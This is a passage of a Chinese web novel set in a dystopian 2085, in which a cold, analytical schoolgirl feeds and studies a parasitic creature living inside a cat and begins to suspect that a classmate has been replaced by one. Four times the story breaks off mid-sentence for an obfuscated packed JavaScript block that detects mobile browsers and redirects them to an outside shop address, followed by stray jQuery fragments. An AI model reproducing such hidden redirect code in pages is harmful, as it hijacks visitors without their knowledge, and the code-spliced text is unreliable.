“这猫真邪门。”他虚张声势地朝它跺了跺脚,大声呵斥,“去!去!给老子滚远点儿!”
*
晚自习取消后,学校担心学生在家懒散放纵,布置的作业反而变多了,唐念坐在书桌前奋笔疾书。
她只开了台灯,昏黄的灯光堪堪照亮书桌一小块地方,草稿本上的墨渍泅染开。小怪物就团坐在她脚边,安安静静。
与之相对的是窗外传来的宵禁的警戒,由喇叭里的合成机械音宣读,如同被它损坏的电量耗尽的按键,没有任何起伏。
这是奇怪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668280|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时代,常让她联想到百年前在拉丁美洲流行的魔幻现实主义,一种无法用语言简单描摹的荒谬与秩序并存的致幻感。
统一全球政权的超级政体在险境中成立,如同艰难孵化的雏鸟。持续了十来年的世界性战争使得全球大部分地方的科技倒退了几十年,以至于他们这里还要用古老的喇叭满大街宣读宵禁提醒,而据说——在一万公里外的首都,超级政体的中心,战争中幸存的科学的种子通通齐聚于那里,在战后二十年间实现了迅猛发展。
科学的荣光照耀着少部分上位者,却没有照耀芸芸众生。
先进与落后、暴力与和平矛盾地存在于同个世界。
红色水笔在练习卷上晕出豆大的一个墨点,唐念对完答案,将写错的题目更正,至此今晚的作业才算做完了,她舒展身体往椅背上一靠,一边揉按太阳穴一边垂下眼帘。
小怪物不见了,脚边空空如也。
她环顾了一圈卧室,发现它也不在卧室里。窗户好好地关着,她拉开紧闭的窗,心想它可能是从卧室门口离开的。她并不担心它跑远,越是聪慧的生物越不容易如此反复无常,她只是有点好奇它大半夜跑出去是为了做什么。
她很快就知道答案了。
破了的纱窗还没来得及修补,送来一阵又一阵腥热的气息。长满杂草的院子里——草叶掩蔽间似乎有什么东西在簌簌扑腾。
唐念走出卧室,绕去了前院。
她走路的速度不快也不慢,到达那里的时候,猎食已经结束了。
猫优雅地坐在杂草里,身边是一只误入她家的死掉的鸡。
李鳏夫对自己小气,养鸡却上心,每只鸡都养得圆圆胖胖,但现在这只肥美的母鸡瘪了下去,只剩一身形状完整的鸡毛与骨架,血液被吸食得一干二净,当然,鸡肉与内脏也通通没被浪费。
她用手指拨了拨失去光泽的毛发,转眸瞥向始终盯着她看的小怪物。
猫歪了歪头。
她将它抱起来,依然抄着前臂,把它举到自己面前,像在自言自语,嘟囔着说:
“你喜欢血啊?”
“我知道了。”
*
唐念抱着猫回到了自己卧室,院子里的鸡需要处理一下,也许还需要用些不惹人注意的方式把鸡赔给李鳏夫,免得惹祸上身,被人怀疑。
不过这些都可以先等等。
她把猫放到了自己还没整理干净的书桌上,握住它的一只爪子,用商量的口吻说:“我会为你提供新鲜的血液、足量的食物,也会保障你的生命安全,在适度的范围内给你自由活动的空间,相应的,我想让你做什么你都要配合我。因为有些研究需要你的配合,我不希望你骗人,这会给我带来很大的麻烦。”
“你能做到吗?”她问,“配合我,绝不欺骗我。”
可能是为了听到它的回答,她把剩余的那些按键都摆了上来。
小怪物细致地分析着唐念的反应,她不像那个成年雄性,在意识到它胃口的可怖后就对它展露出厌恶和恐惧,她好像无论如何都很平静和淡定。
她接纳生命原初的面貌,无论是血腥、暴力还是残酷。
她接纳它的全部。
好奇怪。
它歪了歪头。
9.好
母鸡的问题好解决,第二天,唐念起了个大早,赶在李鳏夫醒来并且例行清点他的鸡之前去了趟菜市场,买了只活母鸡回来。
新买来的母鸡瘦了一圈,比不上李鳏夫那只肥美,要是直接丢进李鳏夫的鸡棚里,多半会害他起疑。不过唐念自有解决之道,她提着母鸡,把母鸡丢进了唐生民的卧室。
唐生民还在睡觉,她在外头悠哉悠哉食用早餐,大约十分钟后唐生民就拎着母鸡的翅膀惨叫着从屋里冲了出来。
他看都没看她,直接将这只鸡默认成了李鳏夫的手笔,死也没想到罪魁祸首是坐在餐桌旁若无其事用餐的女儿。他拎着鸡一路气势汹汹杀到李鳏夫的家,把他家的院门拍得震天响,嘴里不干不净骂着:“我.操.你全家!我.操.你个老不死的东西!”
李鳏夫很快就应声打开了门,还是弯着腰弓着背,唐生民跳脚嚎叫说你家的鸡竟然跑到我卧室床上拉屎:“在我床上拉屎!拉在我枕头上!!”
李鳏夫摆着手,指了指自己的耳朵:“听不清啊,听不清。”边说边眼疾手快地抢过了唐生民手里的鸡,往自己腋下藏去,嘴里慢悠悠说着“听不清听不清,啊人老了脑子糊涂了耳朵不好使了,听不清”,关门的速度却快得不像这个年纪的老人。
啪嗒一声。
大门当着唐生民的面锁上了,母鸡当然也被李鳏夫不问缘由地笑纳。
唐生民气得一个倒吸气,被自己的口水呛到,在他门前狂咳了几分钟才顶着满脑门官司回家。
他走到厨房里,给自己倒了杯水灭火,看到碗槽里扑腾的两条白鲢,有些不高兴地问买这玩意儿干嘛。
“说过好几次我不喜欢吃鲢鱼了。”
“不是给你吃的。”唐念把吃完的碗筷收到了另一个碗槽里。
“你自己不也不喜欢吗?”
“嗯。”
和唐念交流需要一些耐心,因为她分享欲极低,懒得在对话中提供社交过程里大家默认提供的信息,除非对方主动询问。唐生民只好问:“那你买它干嘛?”
她一指路过厨房门口的唐夏:“给猫吃。”
闻言唐生民的脸色更不好了,生气地说你对一只猫竟然比对你爸还要好,这么只不值钱的畜生居然还得专门买鱼给它吃,有没有天理了?
唐念只当没听见。
*
上午去上课的时候,生物老师依言帮她借来了显微镜和配套的玻片等物,中午放学唐念兴冲冲地带着这些东西回家,先取来一条活鱼喂给小怪物,等它血腥地进食完毕,一回身,入目便是她蹲伏在不远处的身体以及晶亮的眼。
她卧室地上是堪比凶案现场的血渍——那条鱼太能扑腾了,而它此前没有进食过类似的东西,实在难以吃得文雅。唐念却像看不到满地鲜血与碎肉似的,把它从地上抱起来,放到书桌上,笑着说它现在该支付给她一块身体组织作为喂食交换了。
“嗯?”
她耐心地等它在这件事情上主动。这样他们之间的实验会更像某种文明的交易,而不是单方面的残害。
当然,这不是因为唐念突然良心发现,她有这种转变纯粹是因为意识到小怪物智商还挺高,担心它成长为完全体形态后对她实施报复。
和平是美好的,和平从PUA开始。
唐夏犹豫了很久,最后慢慢从猫嘴里探出了它最孱弱的那支触手。
唐念于是又笑起来,这次笑得露出了上排白牙。
她用消毒干净的小刀剜下它触手上一块指甲盖大的身体组织,手法干净利落,全无一丝迟疑。它的触手因疼痛在她手心里抽搐了一下,本能想抽走,却被她干暖的掌心松松握住。
她注视着猫的眼睛,轻声说:“你看,我这次只切了一点点。”边说边举了举刀片上的血肉示意,猫儿似的眼睛眯起来,眼缝里剔透的瞳孔像一把刀。
她缓缓道:“和以前比起来,真的只有一点点,是吧?我对你很好的,唐夏。”
她还念不习惯这个由她自己随口取的名字,语气有些生涩。
好?
它解析着她的发音,猫眼一动不动地看着她。
严格来讲,小怪物并不是通过猫眼观察她的,而是透过猫的眼睛与眼眶贴合之处的细小缝隙,透过耳孔、鼻孔、嘴巴——透过猫的头上无数连光线都不一定能够穿过的孔洞。
它的“眼睛”无处不在。
好?
这个字超出了它的理解范畴。
唐念像有读心术一样,以肯定的陈述语气又轻轻重复了一遍:“对,我对你很好。”
按键里刚好有“好”这个发音,她伸手摁下。
机械的电子音毫无感情地读:“好。”
小怪物于是也把猫爪子放了上去。
“好。”
“好。”
“好。”
它一连按了三遍。
*
唐念最近心情很好。
——意识到这件事让唐生民毛骨悚然。
因为唐念心情很好通常意味着有什么东西要遭殃了,她四五岁还不怎么通人性的时候,有一回也是像现在这样心情很好,跑来告诉他说:“爸爸,我发现一个好玩的东西。”
那时他还年轻,父爱未泯,多嘴问了句“什么好玩的东西呀”,然后他的眼睛与精神就相继遭了殃。唐念向他展示她手心里一只翠生生的螳螂,那只螳螂鼓鼓囊囊的肚子吹气球般不断膨大,扭曲变形。他瞟了眼,问:“它怎么了,在生宝宝?”
“不。”唐念从它腹里揪出一条长长的黑线,那只螳螂饱满的身体即刻干瘪下去,只剩一层薄薄的躯壳,“妈妈说这是铁线虫,它寄生在螳螂身体里,把它吃空了,吃得只剩一层壳。螳螂早就死了,是里面的铁线虫在动。爸爸,你看,它像不像提线木偶?”
黑色的铁线虫如同断掉的皮筋,在她指尖扭曲蠕动。
唐生民差点没把出生前在羊水里吃的饭都一起吐出来,他捂着同样扭曲蠕动的肠胃,说:“我知道了……你还是去找你妈交流这个吧。”
唐念在十七岁这年再次拥有了螳螂和铁线虫。
关于小怪物她有越来越多的新发现,比如它能通过电信号以及某些化学物质的释放操纵身为宿主的猫,她暂时还分析不出更加深入具体的东西,但这个方面已经足够她兴奋得连续两晚都没怎么睡着了。
它能够释放弱电信号精密地操纵他者,在机械技术发达的现在,这意味着只要她有足够的钱,甚至可以为它量身定制用于寄生的机械。
她特意上网查阅了一下机器人的价格。
2085年,人类已经能够制造出与人类外形相差无几的机器人,不过这种外形俊美的仿生人技术多被用于情.趣.机器人产业,而且价格不菲。
唐念稍微数了一下价格位数,还没数完就放弃了这个构想,转而选择“按价格排序”中的“从低价开始排序”。
然而即使是外形最为简陋、功能最为简单的那种机器人也不是她能负担得起的。
她只好再度退而求其次,开始看单独的语音模块。
促销价699块。
唐念啃着指甲,思考家里有没有什么值钱的东西能卖出699块。
她家的积蓄倒也没有少到连这几百块都出不起,但是由于这些年来家里积蓄只减不增,没有任何入项,导致她用钱极度抠搜。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673327|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
限定了每个月的用钱量且严格执行,最近由于小怪物的突然出现,她已经多预支了一些原本打算用于未来日常开销的钱,要是再从未来多借几百块,势必会产生严重的生存焦虑。
生存焦虑暂且压过了好奇心。
唐念老老实实研究起别的东西。
第二个令她惊讶的发现是小怪物的细胞。
它有着类似地球生物的细胞结构——有将它与外界世界隔开的细胞膜,有看起来像是贮存了遗传物质的细胞核,也有位于细胞膜与细胞核之间的细胞质,只是这些东西的形貌都与她了解过的不同,而且除了这些,它还有许多多出来的结构,她查阅了相关资料,没找到任何已记录在案的相似的结构。
“你到底是从哪儿来的啊?”
她最近越来越喜欢对着猫说话了,尽管知道猫无法回答她。
它既不完全像外星来物——正如世界上没有完全相同的两片叶子,在唐念的想象中,假使外星人真的存在,也会因为生活在与地球不同的环境而形成一套从微观到宏观都与地球生物有着微妙差别的生命体系。
可说它是地球生物?也不像。
难道是实验室里跑出来的实验品?
唐念戳了戳猫嘴里探出来的触手。
它最近新学会了这种讨好她的方式,唐念不知道它是怎么想的,可能以为她喜欢它的触手,这实在是天大的误解。
它把触手探出来供她把玩,同时用猫爪踩上按键:
“出去玩。”
最近唐念会给它一些适度外出放风的时间,她在认真学习宠物饲养,网上的教程说不能忽视宠物的情感需求,尽管她很怀疑唐夏是否有情感需求,却还是会在白天纠察员巡逻没那么密集的地段遵从它的心意放它外出走走。
一只橘猫踩着猫步在别人家的屋檐上飞檐走壁。
唐夏生疏地窜上去,跟在橘猫身后模仿它的步伐。
它学得很快,从生涩到走得与橘猫无异仅仅花了两分钟。
两只猫一前一后在围墙上竞走,尾巴竖得老高。
路过某户人家的屋檐时,有个八.九岁的小孩恰好推开窗,看到唐夏,眼前一亮:“煤球!”
他回身喊屋里的人:“妈!妈!我找到煤球了!煤球在这儿!”他冲着唐夏的方向大声喊,“煤球,快回来啊,家里有你最爱吃的罐头!”
唐夏头也没回,连耳朵都没有竖一下。
唐念在自家院子里看到这一幕,有点惊讶。她以为被寄生的狸花猫是野猫,没想到不仅有主人,还有“煤球”这个曾用名。
不过唐夏怎么一点反应都没有?如果它有煤球的记忆,现在起码会意识到男孩是在叫它,就算不想理,也会有“脚步一顿”“耳朵一转”之类的本能反应。它现在的表现就仿佛根本没有猫的记忆一样。
……等等。
唐念慢慢瞪大眼睛。
怪物能够寄生,她下意识默认它会有宿主的记忆,可仔细想想,这默认根本站不住脚。
如果它没有呢?
假如它并不能读取宿主的记忆?
那一瞬间,电光火石,她起了浑身的鸡皮疙瘩。
唐念想起了那天与纠察员的对话,想起13007在询问完她的伤口后,若无其事仿似闲聊的那两句:
“我之前送你那套育文出版社的习题你做完了吗?”
“是,我们好几年前就认识了,呃,多少年前来着……?”
他在拷问她的记忆,以一点点错误的讯息为钩子,试图钓出一条大鱼。
伤口只是一个提醒,提醒他们这个人有可能被怪物寄生,进一步的记忆拷问才是这场排查的重点。
10.数学卷子
唐念逐渐拥有高考要来的实感是因为三模考试。
这是整个高三生涯最后一次模拟考,和之前不同,三模卷子出得简单,简单到像在开玩笑,即使是不擅长的语文她也破天荒拿了101分,头一回达到了班级平均水准。
老师解释说这是为了给他们一些高考的信心,毕竟离高考仅剩一个月,最后关头了,压迫不如鼓励。为此语文老师甚至还特意给她写了张明信片,表彰她第一次为班级语文成语做出贡献。
怀抱着“我能考好”的幻想就像画饼充饥,唐念坐在教室里,和其他学生一起勾画属于自己的饼。
宵禁持续了一月有余,反叛军的消息时有时无,到处都在戒严,却没有发生任何实质性案件,唯一的意外是邻区有个同样身处高三的学生跳楼了——就在三模考试当天,其他学校的学生对着三模卷子奋笔疾书的时候,他从自家小区顶楼一跃而下,尘归尘,土归土。
学生自杀的消息总是镇压得很快,然而官方明面上的镇压只能压住媒体,却压不住民众私下里讨论的口舌。死亡的讯息在无数条舌头之间奔波游走,搬走说者的唾沫,像病毒一样喷向听者的耳膜。
大家都说可惜:“已经坚持了这么久,再过一个月就解放了,何必呢?”
“不过我们这样算不算是少了一个竞争对手?”徐晓晴的前桌笑了两声,加入谈话。
徐晓晴惊异地瞄他一眼,直言道:“你这话说得好没人性。”
“呃,我就开个玩笑,你这么严肃干嘛。”她前桌那个叫温子默的男生立刻举高双手投降,“跳楼那人跟我同个小区,说实话我放学回家路过他住的那栋楼,心里老觉得毛毛的。”
“那你就更不该这么说了。”徐晓晴说,“当心他的鬼魂不死不休回来找你。”
“……你是不是存心吓我,想让我高考发挥失常啊?”
“你想多了。”
谈话进行到这有些尴尬,温子默看向比他更适合拥有“子默”这个名字的唐念,她从来不参与到类似谈话里,在放学后大家纷纷激情讨论开跳楼新闻时也只是面不改色地修正三模卷子上的错题。
“嗳唐念,你数学卷子能借我一下吗?”他没话找话地问,顾左右而言他地转移话题化解尴尬。
数学试卷唐念拿了满分,没必要再留着,闻言她头也不抬地找出来递给了他。
“谢谢啊,我下周一早上还给你。”
*
“祖宗是不是该洗澡了?我怎么闻着有点臭?”
经过了一个月的相处,唐生民对唐夏的称呼几经变迁,从“唐夏”变成“猫”,最后又阴阳怪气变成了“祖宗”,因为他恼火地发现他在唐念心中的地位竟然远远不如这只猫。
她在唐夏身上花了不少心思,却吝啬地不肯多匀给他一点点打麻将的零花钱。
“有吗?”
唐念患有鼻炎,她对气味的感知总比别人慢两拍,闻言用脚尖把唐夏从餐桌底下勾出来,捏着它的后颈将它提起,脸埋进它的肚子。
“不臭。”她得出结论。
萦绕鼻端的是洗衣粉淡淡的香味。
由于唐夏寄生到猫身上以后就热衷于跟她共享柔软的床铺,唐念三令五申未果,只好常常给它擦拭肉垫,顺带清洗充作衣服的围巾。
“不是身上臭就是口臭,反正总有一个臭。”唐生民掐着鼻梁,满脸嫌弃。
他一再坚持,唐念只好掰开猫嘴闻了闻,闻完当即把猫丢开。
她反思起自己最近是不是给它喂了太多生肉,肉食动物的口腔气味一般都令人不敢恭维。
要不从今天开始给它刷牙?
唐念一边觉得自己是不是对它好过头了,一边又觉得不刷牙的话危害的是她自己的嗅觉。储物柜里还放着几条光荣退休的牙刷,她没有扔,起初是为了留下来刷刷边角缝,现在倒是可以派上用场。
*
给唐夏刷牙的事还没来得及开始就宣告结束,因为唐夏失踪了。
周日中午,唐念在厨房做完午饭,把围裙解开,忽然感觉很久没看到唐夏了。猫失踪是常事,不过唐夏毕竟不是猫,它不会几个小时都不见踪影。
唐念满屋子找了一圈也没找着,向唐生民问了一嘴,他摸着脑袋嘀咕起来:“啊?我想想……对,好像整个上午我都没看见它……你这是什么眼神?你该不会觉得我偷偷把猫扔了?我告诉你唐念,我唐生民虽然无耻、懒惰、游手好闲,但是我这个人人品绝对是没话说的……”
唐念对他“但是”之后的内容持保留意见。
她摆好碗筷,对他说先吃饭吧。
“你不去找它?”
“吃完再说。”
吃饭的时候唐念不可避免地发散了一下思维,猜测唐夏是不是被纠察员逮到了。
它身上还穿着她的围巾制成的衣服,这有点麻烦,还好这条围巾是她小学时用的了,间隔太久,不一定有人证可以指控,只要她矢口否认,以及在唐生民多嘴前和他统一口径,说他们不是猫的主人,兴许有概率逃过一劫。
当然,不是最好,她更希望唐夏只是贪玩,在外面玩得忘了时间。
她想着事情,吃饭吃得慢了些,唐生民先吃完,把碗筷一收,说:“再找找吧,猫不是很能藏吗?”
他主动在屋子里帮她寻找起唐夏,这对唐生民这种吃完只想躺着的懒汉来说无异于被鬼上身,唐念铁面无私地宣布:“即使你帮我找猫我也不会给你钱的。”
唐生民被她戳中了痛脚:“你又把我想成什么了?!”
“一个月后我就要高考了,你别再拿钱的事闹我。”她用勺子撇去汤上的浮沫,“妈妈走之前一分钱都没留给你,就是知道你不靠谱,你自己不靠谱就算了,别把我拖死。”
难得听到唐念一口气同他说这么多话,说的却是指责,唐生民讪讪,自知理亏,郁闷又生气地蹲到房门口去了。
过不多久,唐念听到了他在门口叫:“诶……诶诶,唐念,你过来看下。”
她以为这又是他要钱的把戏,不耐烦地正要起身从餐桌旁走开,接着便听唐生民说:“我好像找到猫了,它在院子里,但是……”
后半截话吞吞吐吐,带着几分不确定的迟疑。
唐念拉开椅子走过去。
午后阳光猛烈,照得院子里的草叶都在反光,像一片悬浮的湖泊。唐生民指着院子里某个角落——湖泊之下是一丛乱糟糟的黑褐交错的毛发以及一丛明亮耀眼的橘毛。
她走近了,看到橘猫蹲在狸花猫身边,抬起猫眼,朝她喵喵叫了两声。
至于狸花猫——
它已经死了。
或者说,它腐烂了。腐烂殆尽。
*
猫死了,唐生民怕唐念伤心,那天下午难得消停,绞尽脑汁想从脑仁里搜罗些安慰她的话,谁知傍晚时分,他还没组织好语言,她便郑重向他宣布她将开始饲养橘猫。
“……啊?”
唐生民露出痴傻的表情。
他试图从唐念脸上找出几分伤心,以此证明他女儿拥有正常人类都会有的情感,可她面容镇定,他的期望显然是落空了。
唐生民转而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678954|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又安慰起自己——唐念养的那些昆虫死的时候她也不见伤心,也许猫这种生物对她来说就像昆虫,死了就死了——好吧,不管怎么安慰自己,他都觉得唐念冷血过了头,人对同为哺乳动物的毛茸茸不是会多几分共情之心吗?
唐念不知道她爸正怎样腹诽她,她比较关心的是其他问题。
晚上和橘猫聊天,她握着它猫嘴里探出的触手,慢吞吞阐述自己的猜想:“所以……你寄生的时候,猫就已经死了,你并不能让它起死回生,只能延缓它的腐烂,是吗?”
它踩上了按钮:“是。”
“你需要不停更换宿主。”
“是。”
这次它寄生得比上次寄生狸花猫完美,它将伤口开在了猫嘴里,这样就不用穿着衣服遮蔽身上的伤了,外形与其他猫无异。
这让唐念止不住好奇:“你为什么还回来?”
在她看来,小怪物已经有了完美掩蔽自己行踪的能力,完全可以离开她去外头闯荡,按照它那个逆天的学习模仿能力,但凡它野心再大点儿,弄个总统当当大约也不成问题,电影里的寄生怪不都怀揣这种颠覆世界的野心吗?
唐夏歪了歪头,像是在思考。唐念这才反应过来她抛出了一个特指问句,而不是选择疑问句,它没法回答。正要改一改询问的形式,唐夏便找到某个按键,将脚踩了上去。
机械音响亮道:“好。”
“好。”
“好。”
“好。”
它又一连踩了三遍,一如之前。
唐念愣了愣,随即哈哈笑起来。她觉得唐夏要么是脑子有问题,要么是有更大的图谋,要么就是真的没什么野心。不过也对,谁说寄生怪就非得毁灭世界了?要是有人供她吃喝,她也懒得自己外出觅食。
*
周一早上唐念到学校时,班上照旧已经坐了许多人。数学老师来得更早,说要利用早读时间把三模卷子最后一道题讲一下,因为数学组讨论出了一种更简单的解法。
“你们能理解多少就理解多少,不强求。”她推了推鼻梁上因为出汗而滑下来的眼镜,“但我还是建议你们认真听一下,能理解的同学,你们以后肯定会感谢我的。”
说着看了眼时钟,不满地抱怨说你们班的人怎么到现在还没到齐。
她频频瞥向教室门口,催促姗姗来迟的几个学生赶紧回自己的座位入座。
温子默今天也来得晚了些,手里握着学生证,边看学生证边急匆匆往教室前门走来。走进前门,他却又顿住了,停在门口一动不动。
“怎么了?赶紧回你自己座位啊。”数学老师催促。
他看向教室里剩余的六七个空位。
“温子默,我让你赶紧回你座位。”数学老师又等了几秒,见他只是一味僵在原地,仿佛畏惧被她责怪似的,只好不耐烦地指着他的座位说,“我又没有不让你进来,快点坐好,等人到得差不多我要开始讲题了。”
他这才回到自己的座位入座。
又过了两分钟,教室里所有人都来齐了,数学老师让他们拿出卷子。
唐念的数学试卷上周借给了温子默,她用笔帽戳了戳他的背,开口向他讨要。
初夏早晨的阳光从窗外折进来,将桌面照得暖融融的,蝉鸣零落,世界寂静又喧嚣。
温子默回过头。
他看向她那一瞬间,也许是那种微妙的直觉作祟,唐念嘴里的话突然绕了个弯,变成了:“……温子默,你把我上周借你的语文试卷还给我吧。”
他点了点头,低头去翻自己的书包。
11.我
温子默把书包里所有试卷都翻了出来,仔细寻找半天,转过身,很抱歉地对她说他没有找到她的语文试卷。
“没关系……是我记错了。”唐念慢吞吞地说,“应该是数学试卷。”
他这才把她的数学试卷找出来还给她。
唐念伸手接过,朝他客套地颔首,只有她自己知道她捏着试卷的拇指和食指其实是冰凉的。
这一天接下来发生的一切就像在佐证她的猜测,那种微妙的格格不入就像一块形状不符的拼图碎片被强行镶到了拼图的空格上。
先是温子默的同桌在课余时间和他闲聊起他曾经扬言非常喜欢的某个游戏,问他在去年的赛季里打到了什么段位。温子默避开了自己平时热爱吹嘘的具体段位的名称,含糊答道“一般般的段位”。
接着是老师点他起来回答一道之前重复讲过许多次的化学题,他说自己不会,老师惊愕地瞪大眼睛:“你可是我的课代表啊?温子默,你伤透了我的心。”
班上同学快活大笑,只有唐念的唇角始终紧紧绷在面皮上。
更奇怪的是他对自己朋友的称呼。温子默是一个偏爱给朋友取昵称的人,他在班上的朋友叫李淼,他总是管他叫李三水。可今天李淼下课过来找他玩儿,他没有像往常一样“三水”“三水”地叫,而是在李淼犯贱踹了他屁股以后扫了眼他校服前的铭牌,说:“李淼你够了。”
唐念当然也怀疑过是不是自己想太多。高三生有点脑雾很正常,她自己也未必记得住发生过的所有事。而且温子默说话的发音方式与平时一模一样——口音是非常私密的存在,说话再标准的人也有独属于自己的咬字习惯,要做到连发音方式都完全模仿并不是一件易事。更糟糕的是他的字迹看起来也没有产生任何变化。
趁温子默下课去洗手间,唐念翻阅着他今天新抄写的笔记。
她想到了唐夏。唐夏的学习模仿能力也很强,但它唯一的寄生对象是只会喵喵叫的小猫,在寄生界堪称不思进取,她不确定它的模仿能力有没有强到连字迹与发音都能完美复刻的程度。
“唐念?”
身后忽然传来一道充满疑惑的轻唤。
唐念脊背一僵,放下手里的本子,回头看向去而复返的温子默,他指着自己的课桌解释:“我忘了带纸。”说完眯起眼睛,似笑非笑地问,“你在做什么?偷看我的书?”
她敛起神色,平静地点头承认了:“物理课上老师让我们抄的公式我没看清,用你的笔记对一对,没提前跟你说就碰了你的东西,不好意思啊。”
“哦……”他看着她,眼睛眨也不眨,连呼吸似乎也屏住了,定定注视了她好一会儿,说,“那你慢慢看吧,毕竟……”
他朝她龇牙笑了笑,“我之前向你借了数学试卷嘛。”
*
因为专注于观察温子默,中午唐念忘了回家,在学校食堂草草解决了午饭,傍晚放学回去,门一开就听唐生民叽里咕噜抱怨:“你中午怎么没回来?我自己一个人在家里啃早上剩的馒头,好可怜。”
没等她答话他就抱着橘猫献宝一样说:“我之前完全低估了猫这种生物的平均智商,没想到这只橘猫也很聪明,我跟它说话它竟然也能听懂,跟上次那只一样。对了,这次这只叫什么名?”
“唐夏。”
“?”
唐生民大惊,“怎么又叫唐夏?!你懒得取名也不带这样的吧,名字还能搞世袭啊?而且这名字不是把前面那只克死了吗,还是我来取个有福气点的名字吧。”
他翻遍字典,最后取出来的所谓有福之名是朴实无华的招财。
吃晚饭时,唐生民又谈及他今天从牌友那听说的秘闻:“三中最近不是有个高三男生跳楼了吗?你有没有听说这事儿?”
唐念缓下夹菜的动作,小幅度点了点头。
“我有个牌友的亲戚就住那小区,听说那孩子跳楼的时候她刚好下楼买菜,目睹了现场,她说……”唐生民神神秘秘地掩着嘴,“那孩子刚死就有尸臭了,而且摔到地面上,脑袋摔得四分五裂,却没有流多少血,也没剩多少脑浆。”
她的心重重一跳,正要说些什么,抬头那一瞬,却对上了唐生民清明的眼神,他看着她:“就跟唐夏一样。”
*
唐念一直觉得她爸有点大智若愚在身上,也许用大智若愚也不够贴切,太往他脸上贴金,应该叫一分智九分愚,就像一个长年醉酒的人偶尔清醒几秒。
他为数不多迸发智慧的瞬间总会让她起鸡皮疙瘩,最早的一次在林桐失踪以后。
在她的要求下,唐生民拖拖拉拉报了案,可这件事最后依然无疾而终。那段时间林桐的去处几乎成了她的执念,一有空她就研究林桐留下的物品,连她用来管理家庭支出的记账本也不放过,每天对着台灯一条条对账目,试图效仿福尔摩斯,从里头寻出些和她下落有关的蛛丝马迹。
如此坚持不懈了几个月,有一天,唐生民冷不丁对她说:“让你妈妈安心走吧,她的世界不在这里。”
“什么?”她面露迷茫。
“如果她想被我们找到,肯定会留下些线索,你找了这么久都没找到线索,说明她根本不想被我们找到。”他冷静到近乎冷酷地向她披露现实,“让她安心去她真正想去的地方吧,离开的人不必挽留。”
另一个让她汗毛倒竖的瞬间就是现在。
唐生民仿佛鬼上身一样说完那句惊天地泣鬼神的“就跟唐夏一样”,接着便又恢复正常,叽里咕噜地说今天的番薯叶口感太老了,是不是炒菜之前忘了摘掉老梗。
“摘了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690321|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”唐念愣了很久才找回自己的声音。
“怎么可能!我吃着感觉绝对是老了。”
“我把老梗摘给你吃了。”
“……”
*
吃完饭,唐念单手夹着唐夏回到房间,另一只手拎着装鱼的桶,用脚把房门带上,打算先给它喂饭。
唐夏从猫嘴里探出触手。
她蹲在一旁,等待它像平时那样进食,然后她好替它收拾残局,然而下一秒它整个史莱姆般的乳白色身躯都从猫嘴里钻了出来,避开桶里还在活蹦乱跳的鱼,蛄蛹着滑到了她脚上。
唐念甩了甩腿,没甩开。唐夏抱着她的小腿攀了上来,动作缓慢,爬一爬,停一停,一直滑到她锁骨处,在她肩膀上流连地转了几圈,最后沿着她的背滑滑梯似的滑下去了。
夏天的衣服单薄,皮肤多半裸露在外,它滑过的地方不像蜗牛走过的地方拖着粘液,硬要说的话,有点像蛇,但又比蛇软一些,冰凉干爽。唐念被它异常的行为弄得发懵,直到它像老虎巡视领土那样将她从头到脚巡视完毕,回到猫身体里吃饭,她才后知后觉它也许是闻到了她身上另一个同类留下的气味。
可是等它进食完毕,她把它捉起来拷问一通,问它是不是闻到了什么,它却装死不回答了。
面前就摆着按钮“是”和“不是”,唐念知道它肯定听得懂她的问题,她摇晃它,正着摇,把猫倒过来摇,三百六十度地摇,可惜它坚决拒绝沟通,牢牢扒在猫脑上不肯下来。
唐念只好悻悻地扔开它,先回书桌前复习。
她做作业时,唐夏就在院子里玩。
它最近不知又从哪只猫身上学到了关于猫的新知识,叫声不仅无限逼近真猫,还深谙不同长短与频次的含义。才叫了一会儿,就有一只奶牛猫从别的地方被它的叫声吸引过来,毫无戒心地同它玩到了一起。
